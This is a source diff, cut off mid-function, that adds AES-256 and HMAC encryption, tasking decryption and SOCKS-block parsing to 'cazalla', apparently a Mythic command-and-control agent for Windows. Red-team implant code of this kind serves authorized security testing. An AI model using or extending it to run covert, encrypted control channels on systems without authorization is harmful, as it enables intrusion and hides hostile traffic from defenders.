LocalReAlloc(pkg->buffer, pkg->length + padding_needed, LMEM_MOVEABLE | LMEM_ZEROINIT); + if (!pkg->buffer) { + printf("[CRYPTO] ERROR: Failed to add padding\n"); + return FALSE; + } + memset((PBYTE)pkg->buffer + pkg->length, (BYTE)padding_needed, padding_needed); + SIZE_T padded_len = pkg->length + padding_needed; + pkg->length = padded_len; + printf("[CRYPTO] After padding: %zu bytes\n", padded_len); + + // Encrypt with AES-256-CBC + printf("[CRYPTO] Initializing AES context with IV...\n"); + struct AES_ctx ctx; + AES_init_ctx_iv(&ctx, g_aesKey, iv); + printf("[CRYPTO] Encrypting with AES-256-CBC...\n"); + AES_CBC_encrypt_buffer(&ctx, (uint8_t*)pkg->buffer, padded_len); + printf("[CRYPTO] Encryption complete, ciphertext: %zu bytes\n", padded_len); + + // Prepend IV before the encrypted data + printf("[CRYPTO] Prepending IV (%d bytes) before ciphertext...\n", IVSIZE); + pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + IVSIZE, LMEM_MOVEABLE | LMEM_ZEROINIT); + if (!pkg->buffer) { + printf("[CRYPTO] ERROR: Failed to prepend IV\n"); + return FALSE; + } + + memmove((PBYTE)pkg->buffer + IVSIZE, pkg->buffer, pkg->length); + memcpy(pkg->buffer, iv, IVSIZE); + pkg->length += IVSIZE; + printf("[CRYPTO] After prepending IV: %zu bytes (IV: %d + ciphertext: %zu)\n", + pkg->length, IVSIZE, padded_len); + + // Calculate HMAC (IV + Ciphertext) + printf("[CRYPTO] Calculating HMAC-SHA256 over IV + Ciphertext...\n"); + PBYTE hmac = (PBYTE)malloc(SHA256_HASH_SIZE); + SIZE_T hmac_size = SHA256_HASH_SIZE; + + printf("[CRYPTO] HMAC input length: %zu bytes (for HMAC calculation)\n", pkg->length); + hmac_sha256( + g_aesKey, AES_KEY_SIZE, + pkg->buffer, pkg->length, + hmac, hmac_size + ); + + printf("[CRYPTO] HMAC calculated (hex): "); + for (size_t i = 0; i < hmac_size; i++) { + printf("%02x ", hmac[i]); + } + printf("\n"); + + // Append HMAC + printf("[CRYPTO] Appending HMAC (%zu bytes)...\n", SHA256_HASH_SIZE); + pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + SHA256_HASH_SIZE, LMEM_MOVEABLE | LMEM_ZEROINIT); + if (!pkg->buffer) { + free(hmac); + printf("[CRYPTO] ERROR: Failed to append HMAC\n"); + return FALSE; + } + memcpy((PBYTE)pkg->buffer + pkg->length, hmac, SHA256_HASH_SIZE); + pkg->length += SHA256_HASH_SIZE; + + free(hmac); + printf("[CRYPTO] === ENCRYPTION COMPLETE ===\n"); + printf("[CRYPTO] Final encrypted package: %zu bytes\n", pkg->length); + printf("[CRYPTO] Format: [IV(16)][Ciphertext(%zu)][HMAC(32)]\n", padded_len); + fflush(stdout); + return TRUE; +} + +// AES decrypt parser for Mythic (based on Xenon implementation) +BOOL CryptoMythicDecryptParser(void* analizador) { + PAnalizador parser = (PAnalizador)analizador; + printf("[CRYPTO] === CryptoMythicDecryptParser START ===\n"); + + if (!parser || !parser->buffer || parser->tamano < (IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE)) { + printf("[CRYPTO] ERROR: Invalid parser (parser=%p, buffer=%p, size=%zu)\n", + parser, parser ? parser->buffer : NULL, parser ? parser->tamano : 0); + printf("[CRYPTO] Minimum required: %d bytes\n", IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE); + return FALSE; + } + + printf("[CRYPTO] Input parser: size=%zu bytes\n", parser->tamano); + + // Log first bytes of encrypted data + printf("[CRYPTO] Encrypted data preview (hex, first 64 bytes): "); + for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) { + printf("%02x ", parser->buffer[i]); + if ((i + 1) % 32 == 0) printf("\n[CRYPTO] "); + } + printf("\n"); + + if (!g_aesKeySet) { + printf("[CRYPTO] ERROR: AES key not set\n"); + return FALSE; + } + printf("[CRYPTO] AES key is set\n"); + + // Extract HMAC from end + PBYTE hmac_provided = parser->buffer + parser->tamano - SHA256_HASH_SIZE; + SIZE_T encrypted_data_length = parser->tamano - IVSIZE - SHA256_HASH_SIZE; + + printf("[CRYPTO] === EXTRACTING COMPONENTS ===\n"); + printf("[CRYPTO] Total size: %zu bytes\n", parser->tamano); + printf("[CRYPTO] HMAC offset: %zu bytes from start\n", parser->tamano - SHA256_HASH_SIZE); + printf("[CRYPTO] Encrypted data length (without IV and HMAC): %zu bytes\n", encrypted_data_length); + printf("[CRYPTO] Expected format: [IV(16)][Ciphertext(%zu)][HMAC(32)]\n", encrypted_data_length); + + // Extract and log IV + BYTE *iv = parser->buffer; + printf("[CRYPTO] IV (first 16 bytes, hex): "); + for (int i = 0; i < IVSIZE; i++) { + printf("%02x ", iv[i]); + } + printf("\n"); + + // Log HMAC provided + printf("[CRYPTO] HMAC provided (last 32 bytes, hex): "); + for (size_t i = 0; i < SHA256_HASH_SIZE; i++) { + printf("%02x ", hmac_provided[i]); + } + printf("\n"); + + // Verify HMAC + printf("[CRYPTO] === VERIFYING HMAC ===\n"); + printf("[CRYPTO] Calculating HMAC over %zu bytes (IV + Ciphertext)\n", IVSIZE + encrypted_data_length); + PBYTE hmac_calculated = (PBYTE)malloc(SHA256_HASH_SIZE); + if (!hmac_calculated) { + printf("[CRYPTO] ERROR: Failed to allocate HMAC buffer\n"); + return FALSE; + } + + hmac_sha256( + g_aesKey, AES_KEY_SIZE, + parser->buffer, IVSIZE + encrypted_data_length, + hmac_calculated, SHA256_HASH_SIZE + ); + + printf("[CRYPTO] HMAC calculated (hex): "); + for (size_t i = 0; i < SHA256_HASH_SIZE; i++) { + printf("%02x ", hmac_calculated[i]); + } + printf("\n"); + + if (memcmp(hmac_calculated, hmac_provided, SHA256_HASH_SIZE) != 0) { + printf("[CRYPTO] === HMAC VERIFICATION FAILED ===\n"); + printf("[CRYPTO] Provided HMAC: "); + for (size_t i = 0; i < SHA256_HASH_SIZE; i++) { + printf("%02x ", hmac_provided[i]); + } + printf("\n[CRYPTO] Calculated HMAC: "); + for (size_t i = 0; i < SHA256_HASH_SIZE; i++) { + printf("%02x ", hmac_calculated[i]); + } + printf("\n[CRYPTO] Data used for HMAC calculation (first 48 bytes): "); + for (size_t i = 0; i < ((IVSIZE + encrypted_data_length) > 48 ? 48 : (IVSIZE + encrypted_data_length)); i++) { + printf("%02x ", parser->buffer[i]); + if ((i + 1) % 16 == 0) printf("\n[CRYPTO] "); + } + printf("\n"); + free(hmac_calculated); + return FALSE; + } + + printf("[CRYPTO] HMAC verification SUCCESS\n"); + + free(hmac_calculated); + + // Decrypt + printf("[CRYPTO] === DECRYPTING ===\n"); + printf("[CRYPTO] Initializing AES context with IV...\n"); + struct AES_ctx ctx; + AES_init_ctx_iv(&ctx, g_aesKey, iv); + printf("[CRYPTO] Decrypting %zu bytes of ciphertext...\n", encrypted_data_length); + AES_CBC_decrypt_buffer(&ctx, parser->buffer + IVSIZE, encrypted_data_length); + printf("[CRYPTO] Decryption complete\n"); + + // Log decrypted data before unpadding + printf("[CRYPTO] Decrypted data (before unpadding, hex, first 64 bytes): "); + for (size_t i = 0; i < (encrypted_data_length > 64 ? 64 : encrypted_data_length); i++) { + printf("%02x ", parser->buffer[IVSIZE + i]); + if ((i + 1) % 32 == 0) printf("\n[CRYPTO] "); + } + printf("\n"); + + // Remove padding + printf("[CRYPTO] === REMOVING PADDING ===\n"); + BYTE padding_length = parser->buffer[IVSIZE + encrypted_data_length - 1]; + printf("[CRYPTO] Padding length from last byte: %d\n", padding_length); + printf("[CRYPTO] Last 16 bytes (should show padding): "); + size_t padding_start = IVSIZE + encrypted_data_length - 16; + for (size_t i = 0; i < 16 && padding_start + i < parser->tamano; i++) { + printf("%02x ", parser->buffer[padding_start + i]); + } + printf("\n"); + + if (padding_length > AES_BLOCKLEN) { + printf("[CRYPTO] ERROR: Invalid padding length: %d\n", padding_length); + return FALSE; + } + + SIZE_T unpadded_len = encrypted_data_length - padding_length; + + printf("[CRYPTO] Unpadded length: %zu bytes\n", unpadded_len); + + // Update parser + SIZE_T original_size = parser->tamano; + printf("[CRYPTO] Moving decrypted data to start of buffer (removing IV)...\n"); + memmove(parser->buffer, parser->buffer + IVSIZE, unpadded_len); + parser->buffer = LocalReAlloc(parser->buffer, unpadded_len, LMEM_MOVEABLE); + parser->tamano = unpadded_len; + + // Log final decrypted data + printf("[CRYPTO] === DECRYPTION COMPLETE ===\n"); + printf("[CRYPTO] Final decrypted size: %zu bytes (original encrypted: %zu bytes)\n", + parser->tamano, original_size); + printf("[CRYPTO] Final decrypted data (hex, first 64 bytes): "); + for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) { + printf("%02x ", parser->buffer[i]); + if ((i + 1) % 32 == 0) printf("\n[CRYPTO] "); + } + printf("\n"); + + // Log as ASCII if printable + if (parser->tamano > 0) { + printf("[CRYPTO] First byte: 0x%02X\n", parser->buffer[0]); + if (parser->tamano >= 36) { + char uuidBuf[37] = {0}; + memcpy(uuidBuf, parser->buffer, 36); + printf("[CRYPTO] First 36 bytes (should be UUID if present): %s\n", uuidBuf); + } + } + + printf("[CRYPTO] Parser decrypted successfully (length: %zu)\n", parser->tamano); + fflush(stdout); + return TRUE; +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.h new file mode 100644 index 0000000..7ac9da7 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.h @@ -0,0 +1,22 @@ +#pragma once +#include + +#define AES_KEY_SIZE 32 +#define AES_IV_SIZE 16 +#define SHA256_HASH_SIZE 32 + +// Initialize AESPSK key from base64 string (called at startup) +BOOL crypto_init_aespsk(const char *aespsk_key_b64); + +// Cleanup crypto resources +void crypto_cleanup(void); + +// Encrypt a package using AES256-CBC + HMAC (Mythic format) +// Format: [IV(16 bytes)][Ciphertext][HMAC(32 bytes)] +BOOL CryptoMythicEncryptPackage(void* paquete); + +// Decrypt a parser using AES256-CBC + HMAC (Mythic format) +BOOL CryptoMythicDecryptParser(void* analizador); + +// Helper to get encryption status +BOOL crypto_is_encryption_enabled(void); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/hmac_sha256.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/hmac_sha256.c new file mode 100644 index 0000000..3efdeed --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/hmac_sha256.c @@ -0,0 +1,104 @@ +/* + hmac_sha256.c + Originally written by https://github.com/h5p9sl + */ + +#include "hmac_sha256.h" +#include "sha256.h" + +#include +#include + +#define SHA256_BLOCK_SIZE 64 + +/* LOCAL FUNCTIONS */ + +// Concatenate X & Y, return hash. +static void* H(const void* x, + const size_t xlen, + const void* y, + const size_t ylen, + void* out, + const size_t outlen); + +// Wrapper for sha256 +static void* sha256(const void* data, + const size_t datalen, + void* out, + const size_t outlen); + +// Declared in hmac_sha256.h +size_t hmac_sha256(const void* key, + const size_t keylen, + const void* data, + const size_t datalen, + void* out, + const size_t outlen) { + uint8_t k[SHA256_BLOCK_SIZE]; + uint8_t k_ipad[SHA256_BLOCK_SIZE]; + uint8_t k_opad[SHA256_BLOCK_SIZE]; + uint8_t ihash[SHA256_HASH_SIZE]; + uint8_t ohash[SHA256_HASH_SIZE]; + size_t sz; + int i; + + memset(k, 0, sizeof(k)); + memset(k_ipad, 0x36, SHA256_BLOCK_SIZE); + memset(k_opad, 0x5c, SHA256_BLOCK_SIZE); + + if (keylen > SHA256_BLOCK_SIZE) { + // If the key is larger than the hash algorithm's + // block size, we must digest it first. + sha256(key, keylen, k, sizeof(k)); + } else { + memcpy(k, key, keylen); + } + + for (i = 0; i < SHA256_BLOCK_SIZE; i++) { + k_ipad[i] ^= k[i]; + k_opad[i] ^= k[i]; + } + + // Perform HMAC algorithm: ( https://tools.ietf.org/html/rfc2104 ) + // `H(K XOR opad, H(K XOR ipad, data))` + H(k_ipad, sizeof(k_ipad), data, datalen, ihash, sizeof(ihash)); + H(k_opad, sizeof(k_opad), ihash, sizeof(ihash), ohash, sizeof(ohash)); + + sz = (outlen > SHA256_HASH_SIZE) ? SHA256_HASH_SIZE : outlen; + memcpy(out, ohash, sz); + return sz; +} + +static void* H(const void* x, + const size_t xlen, + const void* y, + const size_t ylen, + void* out, + const size_t outlen) { + void* result; + size_t buflen = (xlen + ylen); + uint8_t* buf = (uint8_t*)malloc(buflen); + + memcpy(buf, x, xlen); + memcpy(buf + xlen, y, ylen); + result = sha256(buf, buflen, out, outlen); + + free(buf); + return result; +} + +static void* sha256(const void* data, + const size_t datalen, + void* out, + const size_t outlen) { + size_t sz; + Sha256Context ctx; + SHA256_HASH hash; + + Sha256Initialise(&ctx); + Sha256Update(&ctx, data, datalen); + Sha256Finalise(&ctx, &hash); + + sz = (outlen > SHA256_HASH_SIZE) ? SHA256_HASH_SIZE : outlen; + return memcpy(out, hash.bytes, sz); +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/hmac_sha256.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/hmac_sha256.h new file mode 100644 index 0000000..5a2fa9f --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/hmac_sha256.h @@ -0,0 +1,36 @@ +/* + hmac_sha256.h + Originally written by https://github.com/h5p9sl +*/ + +#ifndef _HMAC_SHA256_H_ +#define _HMAC_SHA256_H_ + +#ifdef __cplusplus +extern "C" { +#endif // __cplusplus + +#include + +size_t // Returns the number of bytes written to `out` +hmac_sha256( + // [in]: The key and its length. + // Should be at least 32 bytes long for optimal security. + const void* key, + const size_t keylen, + + // [in]: The data to hash alongside the key. + const void* data, + const size_t datalen, + + // [out]: The output hash. + // Should be 32 bytes long. If it's less than 32 bytes, + // the resulting hash will be truncated to the specified length. + void* out, + const size_t outlen); + +#ifdef __cplusplus +} +#endif // __cplusplus + +#endif // _HMAC_SHA256_H_ \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c index f3a8837..536fc4d 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c @@ -4,6 +4,10 @@ int main() { printf("=== CAZALLA AGENT STARTING ===\n"); fflush(stdout); +#ifdef AESPSK + printf("AESPSK: %s\n", AESPSK); + fflush(stdout); +#endif Sleep(2000); // Pausa 2 segundos para ver si inicia cazallaMain(); printf("=== CAZALLA AGENT EXITING ===\n"); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c index 3b29781..fa58251 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c @@ -1,3 +1,4 @@ +#include "crypto.h" // Include crypto.h BEFORE cazalla.h to avoid redeclaration #include "cazalla.h" #include "paquete.h" #include "socks_manager.h" @@ -102,22 +103,433 @@ PAnalizador mandarPaquete(PPaquete paquete) { fflush(stdout); } - PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length); - SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length); + // === Handle encryption according to Mythic format === + // Format with encryption: Base64(PayloadUUID + AES256(rest_of_data)) + // Format without encryption: Base64(full_packet) + PBYTE datosAEnviar = NULL; + SIZE_T tamanoAEnviar = 0; + + if (crypto_is_encryption_enabled()) { + printf("[PAQUETE] Cifrado habilitado, formato: Base64(UUID + AES256(data))\n"); + + // Extract UUID - UUID is always 36 characters (UUIDv4 format) + // Format: [UUID(36)][command_byte][rest...] + // When addString is called with tamanoCopia=FALSE, no length prefix is added + const SIZE_T UUID_LENGTH = 36; + + if (paquete->length < UUID_LENGTH + 1) { + printf("[PAQUETE] ERROR: Paquete demasiado corto para extraer UUID (length=%zu, need at least %zu)\n", + paquete->length, UUID_LENGTH + 1); + return NULL; + } + + // Extract UUID string (first 36 bytes) + PCHAR uuidStr = (PCHAR)paquete->buffer; + SIZE_T dataOffset = UUID_LENGTH; // After UUID, before/at command byte + SIZE_T dataLength = paquete->length - UUID_LENGTH; + + // Log UUID extraction with detailed info + char uuidBuf[37] = {0}; + memcpy(uuidBuf, uuidStr, UUID_LENGTH); + printf("[PAQUETE] === EXTRACTING UUID ===\n"); + printf("[PAQUETE] Tamaño total del paquete: %zu bytes\n", paquete->length); + printf("[PAQUETE] UUID extraído: %s (length: %zu)\n", uuidBuf, UUID_LENGTH); + printf("[PAQUETE] Data offset (after UUID): %zu\n", dataOffset); + printf("[PAQUETE] Datos a cifrar: %zu bytes\n", dataLength); + + // Log raw packet structure + printf("[PAQUETE] Raw packet structure (first 60 bytes, hex): "); + for (size_t i = 0; i < (paquete->length > 60 ? 60 : paquete->length); i++) { + printf("%02x ", ((PBYTE)paquete->buffer)[i]); + if ((i + 1) % 16 == 0) printf("\n[PAQUETE] "); + } + printf("\n"); + fflush(stdout); + + // Create a temporary package with only the data part (without UUID) + PPaquete dataPackage = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete)); + if (!dataPackage) { + printf("[PAQUETE] ERROR: Failed to allocate data package\n"); + return NULL; + } + + dataPackage->buffer = LocalAlloc(LPTR, dataLength); + if (!dataPackage->buffer) { + LocalFree(dataPackage); + printf("[PAQUETE] ERROR: Failed to allocate data buffer\n"); + return NULL; + } + + memcpy(dataPackage->buffer, (PBYTE)paquete->buffer + dataOffset, dataLength); + dataPackage->length = dataLength; + + // Log data to encrypt + printf("[PAQUETE] === DATA TO ENCRYPT (without UUID) ===\n"); + printf("[PAQUETE] Data length: %zu bytes\n", dataPackage->length); + printf("[PAQUETE] Data preview (hex, first 64 bytes): "); + for (size_t i = 0; i < (dataPackage->length > 64 ? 64 : dataPackage->length); i++) { + printf("%02x ", ((PBYTE)dataPackage->buffer)[i]); + if ((i + 1) % 32 == 0) printf("\n[PAQUETE] "); + } + printf("\n"); + printf("[PAQUETE] First byte of data (should be command byte): 0x%02X\n", + dataPackage->length > 0 ? ((PBYTE)dataPackage->buffer)[0] : 0); + fflush(stdout); + + // Encrypt only the data part (without UUID) + printf("[PAQUETE] === STARTING ENCRYPTION ===\n"); + printf("[PAQUETE] Calling CryptoMythicEncryptPackage() with %zu bytes...\n", dataPackage->length); + fflush(stdout); + + if (!CryptoMythicEncryptPackage(dataPackage)) { + printf("[PAQUETE] ERROR: Falló el cifrado\n"); + LocalFree(dataPackage->buffer); + LocalFree(dataPackage); + return NULL; + } + + printf("[PAQUETE] === ENCRYPTION COMPLETE ===\n"); + printf("[PAQUETE] Datos cifrados: %zu bytes (original: %zu bytes)\n", + dataPackage->length, dataLength); + + // Log encrypted data preview + printf("[PAQUETE] Encrypted data preview (hex, first 80 bytes): "); + for (size_t i = 0; i < (dataPackage->length > 80 ? 80 : dataPackage->length); i++) { + printf("%02x ", ((PBYTE)dataPackage->buffer)[i]); + if ((i + 1) % 32 == 0) printf("\n[PAQUETE] "); + } + printf("\n"); + fflush(stdout); + + // Concatenate UUID + encrypted data + SIZE_T finalSize = UUID_LENGTH + dataPackage->length; + PBYTE finalBuffer = (PBYTE)LocalAlloc(LPTR, finalSize); + if (!finalBuffer) { + LocalFree(dataPackage->buffer); + LocalFree(dataPackage); + printf("[PAQUETE] ERROR: Failed to allocate final buffer\n"); + return NULL; + } + + printf("[PAQUETE] === CONCATENATING UUID + ENCRYPTED DATA ===\n"); + memcpy(finalBuffer, uuidStr, UUID_LENGTH); + printf("[PAQUETE] Copied UUID (%zu bytes) to final buffer\n", UUID_LENGTH); + memcpy(finalBuffer + UUID_LENGTH, dataPackage->buffer, dataPackage->length); + printf("[PAQUETE] Copied encrypted data (%zu bytes) to final buffer at offset %zu\n", + dataPackage->length, UUID_LENGTH); + + datosAEnviar = finalBuffer; + tamanoAEnviar = finalSize; + + printf("[PAQUETE] === FINAL BUFFER READY ===\n"); + printf("[PAQUETE] Tamaño final: %zu bytes (UUID: %zu, cifrado: %zu)\n", + finalSize, UUID_LENGTH, dataPackage->length); + + // Log first bytes of final buffer (show UUID + start of encrypted data) + printf("[PAQUETE] Final buffer preview (hex, first 100 bytes): "); + for (size_t i = 0; i < (finalSize > 100 ? 100 : finalSize); i++) { + printf("%02x ", finalBuffer[i]); + if (i == UUID_LENGTH - 1) { + printf("| "); // Mark where UUID ends + } + if ((i + 1) % 32 == 0) printf("\n[PAQUETE] "); + } + printf("\n"); + + // Log final buffer as readable string (first part should be UUID) + char finalPreview[101] = {0}; + size_t previewLen = finalSize > 100 ? 100 : finalSize; + memcpy(finalPreview, finalBuffer, previewLen); + printf("[PAQUETE] Final buffer preview (ASCII, first 100 bytes): %.*s\n", + (int)previewLen, finalPreview); + printf("[PAQUETE] First 36 chars should be UUID: %.*s\n", 36, finalPreview); + fflush(stdout); + + // Cleanup temporary package + LocalFree(dataPackage->buffer); + LocalFree(dataPackage); + } else { + printf("[PAQUETE] Cifrado deshabilitado, enviando plaintext completo\n"); + datosAEnviar = (PBYTE)paquete->buffer; + tamanoAEnviar = paquete->length; + } + // Codificar en base64 + printf("[PAQUETE] === BASE64 ENCODING ===\n"); + printf("[PAQUETE] Binary size to encode: %zu bytes\n", tamanoAEnviar); + + // Log binary data before base64 + printf("[PAQUETE] Binary data preview (hex, first 80 bytes): "); + for (size_t i = 0; i < (tamanoAEnviar > 80 ? 80 : tamanoAEnviar); i++) { + printf("%02x ", datosAEnviar[i]); + if ((i + 1) % 32 == 0) printf("\n[PAQUETE] "); + } + printf("\n"); + + PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)datosAEnviar, tamanoAEnviar); + SIZE_T tamanoDelPaquete = b64tamanoCodificado(tamanoAEnviar); + + if (!paqueteParaMandar) { + printf("[PAQUETE] ERROR: b64Codificado returned NULL\n"); + fflush(stdout); + if (crypto_is_encryption_enabled() && datosAEnviar != paquete->buffer) { + LocalFree(datosAEnviar); + } + return NULL; + } + + printf("[PAQUETE] Base64 encoding complete\n"); + printf("[PAQUETE] Tamaño después de base64: %zu bytes (expected: ~%zu bytes)\n", + tamanoDelPaquete, (tamanoAEnviar * 4 + 2) / 3); + + // Log base64 preview with more detail + if (paqueteParaMandar && tamanoDelPaquete > 0) { + size_t previewLen = tamanoDelPaquete > 100 ? 100 : tamanoDelPaquete; + char preview[101] = {0}; + memcpy(preview, paqueteParaMandar, previewLen); + printf("[PAQUETE] Base64 preview (first %zu chars): %s\n", previewLen, preview); + if (tamanoDelPaquete > 100) { + printf("[PAQUETE] ... (total %zu chars)\n", tamanoDelPaquete); + } + + // Show where UUID should be in base64 (first 48 chars should be UUID base64) + printf("[PAQUETE] First 48 chars of base64 (should contain UUID): %.*s\n", + 48, paqueteParaMandar); + } + printf("[PAQUETE] === READY TO SEND ===\n"); printf("[PAQUETE] Enviando paquete base64 de %zu bytes\n", tamanoDelPaquete); fflush(stdout); PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete); + LocalFree(paqueteParaMandar); + + // Free the encrypted buffer if we allocated it + if (crypto_is_encryption_enabled() && datosAEnviar != paquete->buffer) { + LocalFree(datosAEnviar); + } if (!respuesta) { printf("[PAQUETE] ERROR: respuesta NULL\n"); fflush(stdout); - paqueteParaMandar = NULL; return NULL; } printf("[PAQUETE] respuesta OK\n"); fflush(stdout); + + // === Decodificar base64 de la respuesta === + // When mythic_encrypts=True and crypto_type=aes256_hmac, the translator encrypts + // the response, but the agent still receives it base64-encoded from HTTP. + // The agent will handle decryption AFTER base64 decode if needed. + if (respuesta && respuesta->original && respuesta->tamano > 0) { + printf("[PAQUETE] Decodificando base64 de %zu bytes...\n", respuesta->tamano); + fflush(stdout); + + PBYTE datosDecodificados = NULL; + SIZE_T tamanoDecodificado = 0; + + // Convertir a string null-terminated para decodificar + PCHAR base64str = LocalAlloc(LPTR, respuesta->tamano + 1); + if (base64str) { + memcpy(base64str, respuesta->original, respuesta->tamano); + base64str[respuesta->tamano] = '\0'; + + // Decodificar + if (base64_decode(base64str, &datosDecodificados, &tamanoDecodificado)) { + printf("[PAQUETE] Base64 decodificado: %zu bytes\n", tamanoDecodificado); + fflush(stdout); + + // === Decrypt if encryption is enabled === + if (crypto_is_encryption_enabled()) { + printf("[PAQUETE] === DECRYPTING RESPONSE ===\n"); + printf("[PAQUETE] Base64 decoded size: %zu bytes\n", tamanoDecodificado); + + // Log raw data before decryption + printf("[PAQUETE] Raw response before decryption (hex, first 80 bytes): "); + for (size_t i = 0; i < (tamanoDecodificado > 80 ? 80 : tamanoDecodificado); i++) { + printf("%02x ", datosDecodificados[i]); + if ((i + 1) % 32 == 0) printf("\n[PAQUETE] "); + } + printf("\n"); + + // Check if response starts with UUID (which would mean it's in format UUID + encrypted_data) + if (tamanoDecodificado >= 36) { + char uuidCheck[37] = {0}; + memcpy(uuidCheck, datosDecodificados, 36); + printf("[PAQUETE] First 36 bytes (UUID check): %s\n", uuidCheck); + printf("[PAQUETE] Expected UUID: %s\n", cazallaConfig->idAgente); + + // If response starts with UUID, we need to extract it + if (strncmp(uuidCheck, cazallaConfig->idAgente, 36) == 0) { + printf("[PAQUETE] Response format: UUID + encrypted_data detected\n"); + printf("[PAQUETE] Extracting encrypted data (after UUID)...\n"); + + // Extract encrypted data (without UUID) + SIZE_T encrypted_size = tamanoDecodificado - 36; + PBYTE encrypted_data = (PBYTE)LocalAlloc(LPTR, encrypted_size); + if (encrypted_data) { + memcpy(encrypted_data, datosDecodificados + 36, encrypted_size); + printf("[PAQUETE] Encrypted data size (without UUID): %zu bytes\n", encrypted_size); + + // Create parser with just the encrypted data + PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador)); + if (tempParser) { + tempParser->buffer = encrypted_data; + tempParser->tamano = encrypted_size; + + if (CryptoMythicDecryptParser(tempParser)) { + printf("[PAQUETE] === DECRYPTION SUCCESS ===\n"); + printf("[PAQUETE] Decrypted size: %zu bytes\n", tempParser->tamano); + + // Create final buffer with UUID + decrypted data + SIZE_T final_size = 36 + tempParser->tamano; + PBYTE final_buffer = (PBYTE)LocalAlloc(LPTR, final_size); + if (final_buffer) { + memcpy(final_buffer, datosDecodificados, 36); // UUID + memcpy(final_buffer + 36, tempParser->buffer, tempParser->tamano); // Decrypted data + LocalFree(datosDecodificados); + datosDecodificados = final_buffer; + tamanoDecodificado = final_size; + printf("[PAQUETE] Final response (UUID + decrypted): %zu bytes\n", final_size); + } + } else { + printf("[PAQUETE] ERROR: Falló el descifrado\n"); + } + LocalFree(tempParser); + } else { + LocalFree(encrypted_data); + } + } + } else { + // Response doesn't start with UUID, try decrypting directly + printf("[PAQUETE] Response doesn't start with UUID, trying direct decryption...\n"); + PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador)); + if (tempParser) { + tempParser->buffer = datosDecodificados; + tempParser->tamano = tamanoDecodificado; + + if (CryptoMythicDecryptParser(tempParser)) { + printf("[PAQUETE] === DECRYPTION SUCCESS (no UUID in response) ===\n"); + printf("[PAQUETE] Decrypted size: %zu bytes\n", tempParser->tamano); + datosDecodificados = tempParser->buffer; + tamanoDecodificado = tempParser->tamano; + } else { + printf("[PAQUETE] ERROR: Falló el descifrado\n"); + } + LocalFree(tempParser); + } + } + } else { + printf("[PAQUETE] WARNING: Response too short (%zu bytes), cannot check UUID\n", tamanoDecodificado); + // Try decrypting anyway + PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador)); + if (tempParser) { + tempParser->buffer = datosDecodificados; + tempParser->tamano = tamanoDecodificado; + + if (CryptoMythicDecryptParser(tempParser)) { + printf("[PAQUETE] Decryption succeeded for short response\n"); + datosDecodificados = tempParser->buffer; + tamanoDecodificado = tempParser->tamano; + } else { + printf("[PAQUETE] ERROR: Falló el descifrado\n"); + } + LocalFree(tempParser); + } + } + fflush(stdout); + } + + // Reemplazar el buffer del analizador + LocalFree(respuesta->original); + respuesta->original = datosDecodificados; + respuesta->buffer = datosDecodificados; + respuesta->tamano = tamanoDecodificado; + + // AHORA parsear bloque SOCKS en los datos DECODIFICADOS + if (respuesta->tamano >= 5) { + PBYTE buf = respuesta->original; + SIZE_T len = respuesta->tamano; + SIZE_T cursor = len - 5; + BOOL found = FALSE; + + printf("[PAQUETE] Buscando bloque SOCKS (marker 0xF5) en %zu bytes decodificados\n", len); + fflush(stdout); + + // Buscar marcador desde el final + while (cursor > 0 && cursor < len - 4) { + if (buf[cursor] == (BYTE)SOCKS_BLOCK_MARKER) { + printf("[PAQUETE] ¡Marcador 0xF5 encontrado en offset %zu!\n", cursor); + fflush(stdout); + + UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4]; + printf("[PAQUETE] Bloque SOCKS: ext_len=%u\n", ext_len); + fflush(stdout); + + if (cursor + 5 + ext_len > len) { + printf("[PAQUETE] ERROR: bloque SOCKS truncado\n"); + fflush(stdout); + break; + } + + SIZE_T ecur = cursor + 5; + SIZE_T eend = cursor + 5 + ext_len; + while (ecur + 9 <= eend) { + UINT32 sid = (buf[ecur] << 24) | (buf[ecur+1] << 16) | (buf[ecur+2] << 8) | buf[ecur+3]; + BYTE exitf = buf[ecur+4]; + UINT32 b64len = (buf[ecur+5] << 24) | (buf[ecur+6] << 16) | (buf[ecur+7] << 8) | buf[ecur+8]; + ecur += 9; + + if (ecur + b64len > eend) break; + + unsigned char *raw = NULL; + size_t raw_len = 0; + char *b64str_socks = NULL; + + if (b64len > 0) { + b64str_socks = (char*)LocalAlloc(LPTR, b64len + 1); + if (b64str_socks) { + 